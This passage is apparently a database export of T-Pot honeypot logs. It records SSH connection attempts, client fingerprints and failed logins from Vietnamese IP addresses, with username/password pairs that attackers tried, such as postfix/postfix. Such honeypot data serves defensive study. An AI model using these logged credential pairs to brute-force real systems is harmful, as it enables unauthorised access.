"src_port": 58814, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.402402Z", "@timestamp": "2021-09-20T11:06:42.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
21154	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.102373+03	2021-09-20 14:15:03.294613+03	{"_id": "kgbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:41842 (192.168.176.2:22) [session: 8f46dcae31ae]", "session": "8f46dcae31ae", "@version": "1", "protocol": "ssh", "src_port": 41842, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.102373Z", "@timestamp": "2021-09-20T11:06:43.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21155	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.611821+03	2021-09-20 14:15:03.295613+03	{"_id": "rQbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36564 (192.168.176.2:22) [session: 078ee39c115f]", "session": "078ee39c115f", "@version": "1", "protocol": "ssh", "src_port": 36564, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.611821Z", "@timestamp": "2021-09-20T11:06:42.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21156	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:42.666638+03	2021-09-20 14:15:03.297613+03	{"_id": "xAbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:58206 (192.168.176.2:22) [session: aa2dee7db96d]", "session": "aa2dee7db96d", "@version": "1", "protocol": "ssh", "src_port": 58206, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.666638Z", "@timestamp": "2021-09-20T11:06:42.666Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21157	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:42.667439+03	2021-09-20 14:15:03.298612+03	{"_id": "mQbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "aa2dee7db96d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:42.667439Z", "@timestamp": "2021-09-20T11:06:42.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21158	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:42.676606+03	2021-09-20 14:15:03.299612+03	{"_id": "mgbiAnwBvYTbRNuE_wEb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [financeiro/123456Brazil] failed", "session": "2512a17a07af", "@version": "1", "password": "123456Brazil", "username": "financeiro", "timestamp": "2021-09-20T11:06:42.676606Z", "@timestamp": "2021-09-20T11:06:42.676Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21159	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:41.984196+03	2021-09-20 14:15:03.300613+03	{"_id": "0gbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54144, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.984196", "@timestamp": "2021-09-20T11:06:41.984Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21160	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:41.802722+03	2021-09-20 14:15:03.302642+03	{"_id": "vgbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44890, "timestamp": "2021-09-20T11:06:41.802722", "@timestamp": "2021-09-20T11:06:41.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21161	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:42.997875+03	2021-09-20 14:15:03.303643+03	{"_id": "qwbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b7e753ab030f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:42.997875Z", "@timestamp": "2021-09-20T11:06:42.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21162	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.128305+03	2021-09-20 14:15:03.304644+03	{"_id": "rAbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c29d67f115fa", "@version": "1", "timestamp": "2021-09-20T11:06:43.128305Z", "@timestamp": "2021-09-20T11:06:43.128Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21163	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.09801+03	2021-09-20 14:15:03.306614+03	{"_id": "1QbiAnwBvYTbRNuE_wEe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [postfix/postfix] failed", "session": "34fdedcfd043", "@version": "1", "password": "postfix", "username": "postfix", "timestamp": "2021-09-20T11:06:43.098010Z", "@timestamp": "2021-09-20T11:06:43.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
21164	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:43.275246+03	2021-09-20 14:15:03.307613+03	{"_id": "1gbjAnwBvYTbRNuEAQGm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1544040394978548, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49672, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.275246Z", "@timestamp": "2021-09-20T11:06:43.275Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21165	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:43.382052+03	2021-09-20 14:15:03.308615+03	{"_id": "1wbjAnwBvYTbRNuEAQGm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1086314992773618, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41842, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.382052Z", "@timestamp": "2021-09-20T11:06:43.382Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21166	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:42.942775+03	2021-09-20 14:15:03.310613+03	{"_id": "2wbjAnwBvYTbRNuEAQGo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 647934123372744, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58206, "dest_port": 22, "timestamp": "2021-09-20T11:06:42.942775Z", "@timestamp": "2021-09-20T11:06:42.942Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21167	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:43.868555+03	2021-09-20 14:15:03.311612+03	{"_id": "3AbjAnwBvYTbRNuEAQGo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 86732221372548, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39458, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.868555Z", "@timestamp": "2021-09-20T11:06:43.868Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21168	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:43.191859+03	2021-09-20 14:15:03.312612+03	{"_id": "7AbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9364a00340ee", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:43.191859Z", "@timestamp": "2021-09-20T11:06:43.191Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21178	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:44.542108+03	2021-09-20 14:15:03.325613+03	{"_id": "MwbjAnwBvYTbRNuEBgLx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/teest] failed", "session": "9364a00340ee", "@version": "1", "password": "teest", "username": "test", "timestamp": "2021-09-20T11:06:44.542108Z", "@timestamp": "2021-09-20T11:06:44.542Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
